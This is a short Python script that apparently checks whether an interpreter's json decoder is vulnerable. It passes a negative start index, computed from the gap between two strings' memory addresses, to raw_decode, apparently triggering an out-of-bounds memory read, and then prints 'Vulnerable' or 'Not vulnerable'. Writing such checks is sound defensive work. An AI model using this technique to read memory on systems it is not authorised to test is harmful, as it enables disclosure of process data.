from json import JSONDecoder
j = JSONDecoder()

a = '128931233'
b = "472389423"

if id(a) < id(b):
    x = a
    y = b
else:
    x = b
    y = a

diff = id(x) - id(y)

try:
    j.raw_decode(y, diff)
    print("Vulnerable")
except:
    print("Not vulnerable")
